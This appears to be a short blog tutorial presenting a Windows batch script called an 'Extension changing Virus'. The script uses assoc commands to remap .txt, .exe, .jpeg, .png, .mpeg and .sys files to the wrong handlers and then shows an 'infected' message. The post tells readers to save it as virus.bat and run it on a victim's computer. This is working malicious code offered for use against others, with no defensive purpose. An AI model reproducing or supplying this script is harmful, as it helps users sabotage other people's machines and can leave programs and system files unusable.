Extension changing Virus

Extension changing Virus

Hello Friends,

What is Extension changer ? Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code

    @echo off
    assoc .txt=jpegfile
    assoc .exe=htmlfile
    assoc .jpeg=avifile
    assoc .png=mpegfile
    assoc .mpeg=txtfile
    assoc .sys=regfile
    msg Your System got Infected…..
    exit

2. Save it as virus.bat, and now you are ready to go…
3. Execute this on Victims computer
This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…
The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….